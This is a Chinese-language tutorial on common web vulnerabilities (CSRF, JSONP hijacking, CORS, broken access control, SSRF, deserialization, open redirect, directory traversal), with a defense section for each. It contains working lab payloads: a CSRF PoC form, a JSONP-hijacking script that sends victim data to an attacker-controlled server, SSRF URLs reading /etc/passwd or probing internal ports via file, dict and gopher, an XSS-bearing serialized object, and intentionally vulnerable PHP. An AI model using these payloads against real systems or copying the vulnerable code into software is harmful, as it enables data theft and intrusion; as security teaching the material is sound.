web常见漏洞三

2021/12/12 网络安全

web常见漏洞:CSRF,JSONP,CORS,SSRF,反序列化,URL重定向,目录遍历等漏洞

1、CSRF漏洞

CSRF 定义: 跨站请求伪造(英语:Cross-site request forgery),也被称为 one-click attack 或者session riding,通常缩写为 CSRF , 是一种挟制用户在当前已登录的 Web 应用程序上执行非本意的操作的攻击方法。

简单地说,是攻击者通过一些技术手段欺骗用户的浏览器去访问一个自己曾经认证过的网站并执行一些操作(如发邮件,发消息,甚至财产操作如转账和购买商品)。由于浏览器曾经认证过,所以被访问的网站会认为是真正的用户操作而去执行。这利用了 web 中用户身份验证的一个漏洞:简单的身份验证只能保证请求发自某个用户的浏览器,却不能保证请求本身是用户自愿发出的。

csrf 漏洞攻击原理

  1. 用户打开浏览器,访问登陆受信任的 A 网站
  2. 在用户信息通过验证后,服务器会返回一个 cookie 给浏览器,用户登陆网站 A 成功,可以正常发送请求到网站 A
  3. 用户未退出网站 A,在同一浏览器中,打开一个危险网站 B
  4. 网站 B 收到用户请求后,返回一些恶意代码,并发出请求要求访问网站 A
  5. 浏览器收到这些恶意代码以后,在用户不知情的情况下,利用 cookie 信息,向网站 A 发送恶意请求,网站A 会根据 cookie 信息以用户的权限去处理该请求,导致来自网站 B 的恶意代码被执行

1.1 csrf攻击

攻击方式有两种:

  1. 受害者登录网站后,没有退出的情况下,访问网站 b 触发
  2. 在存在漏洞的网站,挖掘 xss 漏洞,自动调用这 poc.html

第一种攻击方式使用burp suite抓包,然后右键 =》engagementtools =》generate CSRF PoC,在弹出的页面内点击COPY HTML,然后新建一个html文件,把复制的放进去。

<html>
  <!-- CSRF PoC - generated by Burp Suite Professional -->
  <body>
  <script>history.pushState('', '', '/')</script>
    <form action="http://192.168.3.16/06/vul/csrf/csrfget/csrf_get_edit.php">
      <input type="hidden" name="sex" value="1" />
      <input type="hidden" name="phonenum" value="1" />
      <input type="hidden" name="add" value="1" />
      <input type="hidden" name="email" value="1" />
      <input type="hidden" name="submit" value="submit" />
      <input type="submit" value="Submit request" />
    </form>
  </body>
</html>

这个就是伪造的B页面了,当被攻击者点击提交(正常攻击大概率不会是点击事件,而是直接请求一个payload),然后就拿到了被攻击者的cookie,然后我们就可以篡改他要修改的内容为我们定义的内容了,甚至可以直接取代他,成为他。

1.2 CSRF 防御方案

CSRF现在已经比较少了,防御办法也很简单

  1. 增加 Token 验证(常用做法):对关键操作增加 Token 参数,token 必须随机,每次都不一样
  2. 关于安全的会话管理(避免会话被利用):
    1. 不要在客户端保存敏感信息(比如身份验证信息)
    2. 退出、关闭浏览器时的会话过期机制
    3. 设置会话过机制,比如 15 分钟无操作,则自动登录超时
  3. 访问控制安全管理:
    1. 敏感信息的修改时需要身份进行二次认证,比如修改账号密码,需要判断旧密码
    2. 敏感信息的修改使用 POST,而不是 GET
    3. 通过 HTTP 头部中的 REFERER 来限制原页面
  4. 增加验证码:一般在登录(防暴力破解),也可以用在其他重要信息操作的表单中(需要考虑可用性)

2、jsonp 漏洞

Jsonp(JSON with Padding) 是 json 的一种”使用模式”,可以让网页从别的域名(网站)那获取资料,即跨域读取数据。

攻击者模拟用户向有漏洞的服务器发送 JSONP 请求,然后就获取到了用户的某些信息,再将这些信息发送到攻击者可控的服务。

jSONP 的最基本的原理是:动态添加一个< script >标签,而 script 标签的 src 属性是没有跨域的限制的。由于同源策略的限制,XmlHttpRequest 只允许请求当前源(域名、协议、端口都相同)的资源,如果要进行跨域请求, 我们可以通过使用 html 的 script 标记来进行跨域请求,并在响应中返回要执行的 script 代码,其中可以直接使用 JSON 传递 javascript 对象。

考虑这样一种情况,存在两个网站 A 和 B,网站A是黑客构建的一个网站,网站B是一个正常的网站,用户在网站 B 上注册并且填写了自己的用户名,手机号,身份证号等信息,并且网站 B 存在一个 jsonp 接口,用户在访问网站 B 的时候。这个 jsonp 接口会返回用户的个人信息,并在网站 B 的 html 页面上进行显示。如果网站 B 对此 jsonp 接口的来源验证存在漏洞,那么当用户访问网站 A 时,网站 A 便可以利用此漏洞进行 JSONP 劫持来获取用户的信息。

攻击方法与 csrf 类似,都是需要用户登录帐号,身份认证还没有被消除的情况下访问攻击者精心设计好的的页面。就会获取 json 数据,把 json 数据发送给攻击者。寻找敏感 json 数据 api 接口,构造恶意的代码。发送给用户,用户访问有恶意的页面,数据会被劫持发送到远程服务器。

demo服务端代码:

<?php
header('Content-type: application/json');
$callback = $_GET['callback'];
print $callback.'({"id":"1","name":"test"})';
?>

demoHTML页面代码

<script>
function jsonp2(data){
    alert(JSON.stringify(data));
}
</script>
<script src="http:target.com/user.php?callback=jsonp2"></script>

构建攻击:

服务端代码:

<?php
if($_GET['file']){
	file_put_contents('json.txt',$_GET['file']);
}
?>

jsonp劫持代码

<script>
function test(data){
    var xmlhttp = new XMLHttpRequest();
    // 获取到数据,然后发送到自己的服务端
    var url = "http://www.myserver.com/1.php?file=" + JSON.stringify(data);
    xmlhttp.open("GET",url,true);
    xmlhttp.send();
}
</script>
<!--www.target.com 原本的服务端的地址,只是控制了jsonp的变量名 原本为jsonp2,修改为test,test为自己构建的代码 -->
<script src="http://www.target.com/user.php?callback=test"></script>

当受害人登入构建的网站之后 访问这个页面时,会自动把接口 user.php 的敏感信息发送到远程服务器上,如果获取到信息就会在远程服务器上生成 json.txt。

2.1 jsonp防御

json 正确的 http 头输出尽量避免跨域的数据传输,对于同域的数据传输使用 xmlhttp 的方式作为数据获取的方式,依赖于 javascript 在浏览器域里的安全性保护数据,如果是跨域的数据传输,必须要对敏感的数据获取做权限认证。

3、CORS 跨域资源共享漏洞

跨域资源共享(CORS)是一种放宽同源策略的机制,它允许浏览器向跨源服务器,发出 XMLHttpRequest 请求,从而克服了 AJAX 只能同源使用的限制,以使不同的网站可以跨域获取数据。

CORS 定义了两种跨域请求:简单请求 和 非简单请求。简单跨域请求就是使用设定的请求方式请求数据,而非简单跨域请求则是在使用设定的请求方式请求数据之前,先发送一个 OPTIONS 预检请求,验证请求源是否为服务端允许源。只有”预检”通过后才会再发送一次请求用于数据传输。

当我们需要发送一个跨域请求的时候,浏览器会首先检查这个请求,如果它是简单跨域请求,浏览器就会立刻发送这个请求。如果它是非简单跨域请求,这时候浏览器不会马上发送这个请求,而是有一个跟服务器预检验证的过程

CORS 运行机制:

  • 在浏览器进行请求时,自动在请求头中添加 Origin 字段
  • 服务端通过验证 Origin 字段来判断请求是否被允许,从而实现浏览器进行跨源访问

CORS 漏洞:

  • 浏览器自动在 Http 请求头加上 Origin 字段,服务器通过判断 Origin 字段的值来判断 请求是否可以读取本站资源。

跨域的字典解释:

  • Access-Control-Allow-Origin:该字段是必须的。它的值要么是请求时 Origin 字段的值,要么是一个*,表示接受任意域名的请求。
  • Access-Control-Allow-Credentials:该字段可选。它的值是一个布尔值,表示是否允许发送 Cookie。默认情况下,Cookie 不包括在 CORS 请求之中。当设置为 true 时,即表示服务器明确许可,Cookie 可以包含在请求中,一起发给服务器。这个值也只能设为 true,如果服务器不要浏览器发送 Cookie,删除该字段即可
  • Access-Control-Expose-Headers : 该字段可选 。 CORS请求时 ,XMLHttpRequest 对 象 的getResponseHeader()方法只能拿到 6 个基本字段:Cache-Control、Content-Language、Content-Type、Expires、Last-Modified、Pragma。如果想拿到其他字段,就必须在 Access-Control-Expose-Headers 里面指定。

假设页面查看网络 Access-Control-Allow-Origin 设置为* 代表所有域名可以请求本站资源,就可以把构造好的恶意代码搭建在远程服务上,让受害者进行访问,即可获取受害者的敏感信息。

知道了原理防御也很简单:

  1. 不要配置”Access-Control-Allow-Origin” 为通配符“*”,而且更重要的是,要严格效验来自请求数据包中的”Origin” 的值。当收到跨域请求的时候,要检查”Origin” 的值是否是一个可信的源, 还要检查是否为 null
  2. 避免使用”Access-Control-Allow-Credentials: true”
  3. 减少 Access-Control- Allow-Methods 所允许的方法

4、越权漏洞

越权访问(Broken Access Control,简称 BAC)是 Web 应用程序中一种常见的漏洞,由于其存在范围广、危害大,被 OWASP 列为 Web 应用十大安全隐患的第二名。

该漏洞是指应用在检查授权时存在纰漏,使得攻击者在获得低权限用户账户后,利用一些方式绕过权限检查,访问或者操作其他用户或者更高权限。越权漏洞的成因主要是因为开发人员在对数据进行增、删、改、查询时对客户端请求的数据过分相信而遗漏了权限的判定,一旦权限验证不充分,就易致越权漏洞。

4.1 平行/水平越权

水平越权:指相同权限下不同的用户可以互相访问

有查询用户信息链接如下:

http://192.168.3.16/06/vul/overpermission/op1/op1_mem.php?username=vince

直接修改参数username后的值

http://192.168.3.16/06/vul/overpermission/op1/op1_mem.php?username=alien

然后就获取到alien的信息,这属于水平越权。出现这种问题说明开发者username 传入在此之前没有任何验证,传入参数拼接到数据库查询了。没有进行验证权限验证。

4.2 垂直越权

垂直越权是不同级别之间或不同角色之间的越权,一般是低权限用户往高权限越权。

准备两个不同权限的账号 分别登录同一个网站,查看低权限的缺少高权限那些模块,抓取高权限的的模块请求参数,再切换低权限用户再进行提交。

一些后台应用没有做权限控制,或仅仅在菜单、按钮上做了权限控制,导致恶意用户只要猜测其他管理页面的URL或者敏感的参数信息,就可以访问或控制其他角色拥有的数据或页面,达到权限提升的目的。

如果可以抓包到

4.3 越权漏洞修复方案

  1. 基础安全架构,完善用户权限体系。要知道哪些数据对于哪些用户,哪些数据不应该由哪些用户操作;
  2. 鉴权,服务端对请求的数据和当前用户身份做校验;
  3. 不要直接使用对象的实名或关键字。
  4. 对于可控参数进行严格的检查与过滤!

5、SSRF 漏洞

SSRF (Server-Side Request Forgery,服务器端请求伪造)是一种由攻击者构造请求,由服务端发起请求的安全漏洞。一般情况下,SSRF 攻击的目标是外网无法访问的内部系统(正因为请求是由服务端发起的,所以服务端能请求到与自身相连而与外网隔离的内部系统)。

SSRF 的形成大多是由于服务端提供了从其他服务器应用获取数据的功能且没有对目标地址做过滤与限制。例如,黑客操作服务端从指定 URL 地址获取网页文本内容,加载指定地址的图片等,利用的是服务端的请求伪造。SSRF 利用存在缺陷的 Web 应用作为代理攻击远程和本地的服务器。

主要攻击方式如下所示:

  1. 对外网、服务器所在内网、本地进行端口扫描,获取一些服务的 banner 信息。
  2. 攻击运行在内网或本地的应用程序。
  3. 对内网 Web 应用进行指纹识别,识别企业内部的资产信息。
  4. 攻击内外网的 Web 应用,主要是使用 HTTP GET 请求就可以实现的攻击(比如 struts2、SQli 等)。
  5. 利用 file 协议读取本地文件等。

漏洞代码demo:

if(isset($_GET['url']) && $_GET['url'] != null){

    //接收前端URL没问题,但是要做好过滤,如果不做过滤,就会导致SSRF
    $URL = $_GET['url'];
    $CH = curl_init($URL);
    curl_setopt($CH, CURLOPT_HEADER, FALSE);
    curl_setopt($CH, CURLOPT_SSL_VERIFYPEER, FALSE);
    $RES = curl_exec($CH);
    curl_close($CH) ;
    //ssrf的问是:前端传进来的url被后台使用curl_exec()进行了请求,然后将请求的结果又返回给了前端。
    //除了http/https外,curl还支持一些其他的协议curl --version 可以查看其支持的协议,telnet
    //curl支持很多协议,有FTP, FTPS, HTTP, HTTPS, GOPHER, TELNET, DICT, FILE以及LDAP
    echo $RES;

}

url 没有任何过滤传入,php 中的 curl 是http请求能访问远程页面。

5.1 SSRF漏洞攻击

SSRF 支持很多协议所以漏洞利用的方法有挺多的

  1. http 协议:能进行内网端口探测-可以通过返回的时间和长度判断端口的开放。如:http://192.168.3.16/06/vul/ssrf/ssrf_curl.php?url=http://127.0.0.1:3306;返回了一些敏感信息5.7.33-0ubuntu0.16.04.1 mysql_native_password!
  2. file 协议读取文件:读取敏感文件 http://192.168.3.16/06/vul/ssrf/ssrf_curl.php?url=file:///etc/passwd
  3. dict 协议内网扫描:能进行内网端口的探测-可以探测到具体的版本号等等信息。http://192.168.3.16/06/vul/ssrf/ssrf_curl.php?url=dict://127.0.0.1:3306
  4. gopher 协议:能进行内网端口的探测-可以发送 get 或者来攻击内网的 redis 等服务。http://192.168.3.16/06/vul/ssrf/ssrf_curl.php?url=gopher://127.0.0.1:3306
  5. 其他还有:FTP、ssrf、TFTP、LDAP等

可以burp suite抓包,然后设置变量去爬取不同的端口是否开放,或者去探测其他内网ip

5.2 SSRF防御

  1. 禁止跳转
  2. 过滤返回信息,验证远程服务器对请求的响应是比较容易的方法。如果 web 应用是去获取某一种类型的文件。那么在把返回结果展示给用户之前先验证返回的信息是否符合标准。
  3. 禁用不需要的协议,仅仅允许 http 和 https 请求。可以防止类似于 file://, gopher://, ftp:// 等引起的问题
  4. 设置 URL 白名单或者限制内网 IP(使用 gethostbyname()判断是否为内网 IP)
  5. 限制请求的端口为 http 常用的端口,比如 80、443、8080、8090
  6. 统一错误信息,避免用户可以根据错误信息来判断远端服务器的端口状态。

6、反序列化漏洞

反序列化又叫对象注入,序列化在内部没有漏洞,漏洞产生是应该程序在处理对象、魔术函数以及序列化相关的问题导致的 当传给 unserialize()的参数可控时,那么用户就可以注入 payload,进行反序列化的时候就可能触发对象中的一些魔术方法。

  • 序列化 serialize:对象的状态信息转换为可以存储或传输的形式的过程 在序列化期间,对象将当前的状态写入到临时或持久性的存储区,将状态信息保存为字符串。
  • 反序列化 unserialize:将序列化后的字符串还原成对象。

反序列化代码:

<? php
$u=unserialize($_GET['url']);
echo $u->test;

$test是用户可控的情况下,就可以注入xss代码进行攻击

// 这里获取的值是用户输入可控的情况下,假设接收url的值
// url代码里有xss代码:O:1:"S":1:{s:4:"test";s:26:"<script>alert(1);</script>";}
$u=unserialize($_GET['url']);
echo $u->test;

有拦截可以进行编码

反序列化漏洞防御也很简单,和大多数漏洞一样,反序列化的问题也是用户参数的控制问题引起的,所以好的预防措施就是不要把用户的输入或者是用户可控的参数直接放进反序列化的操作中去。

7、URL 重定向及跳转漏洞

URL 跳转漏洞是指后台服务器在告知浏览器跳转时,未对客户端传入的重定向地址进行合法性校验,导致用户浏览器跳转到钓鱼页面的一种漏洞。

有代码如下,直接获取url里面的url参数,如果存在就直接跳转,并未做处理。

if(isset($_GET['url']) && $_GET['url'] != null){
    $url = $_GET['url'];
    if($url == 'i'){
        $html.="<p>好的,希望你能坚持做你自己!</p>";
    }else {
        header("location:{$url}");
    }
}

篡改url地址就可以进行攻击了。

防御也很简单:

  1. 如果确定传递 URL 参数进入的来源,我们可以通过该方式实现安全限制,保证该 URL 的有效性,避免恶意用户自己生成跳转链接
  2. 加入有效性验证 Token

8、目录遍历漏洞

在 web 功能设计中,很多时候我们会要将需要访问的文件定义成变量,从而让前端的功能变的更加灵活。 当用户发起一个前端的请求时,便会将请求的这个文件的值(比如文件名称)传递到后台,后台再执行其对应的文件。 在这个过程中,如果后台没有对前端传进来的值进行严格的安全考虑,则攻击者可能会通过“../”这样的手段让后台打开或者执行一些其他的文件。 从而导致后台服务器上其他目录的文件结果被遍历出来,形成目录遍历漏洞。

path 可控 传入 scandir 函数再进行输出,会造成目录遍历漏洞,如下代码:

<?php
    $dir_path=$_REQUEST['path'];
    $filename=scandir($dir_path);
    var_dump($filename);
?>

可以直接输入类似于../../etc/passwd这种结构的语句,遍历网站或系统结构,寻找敏感文件,配合其他漏洞造成严重的安全隐患。

8.1 中间件目录遍历攻击

中间件如果设置不当的时,也会造成目录遍历,如 apache ngnix iis 目录浏览,均可造成目录遍历,但是这种目录遍历,只能遍历网站根目录,除非有特殊设置。

通过遍历目录或文件,寻找敏感文件,如 session 登录验证文件,数据库备份等。

192.168.3.16/06/vul/dir/

8.2 目录遍历防御方案

  1. 对用户的输入进行验证,特别是路径替代字符如“../”和“~/”。
  2. 尽可能采用白名单的形式,验证所有的输入。
  3. 合理配置 Web 服务器的目录权限。
  4. 当程序出错时,不要显示内部相关配置细节。
  5. 对用户传过来的文件名参数进行统一编码,对包含恶意字符或者空字符的参数进行拒绝。

Search

    Table of Contents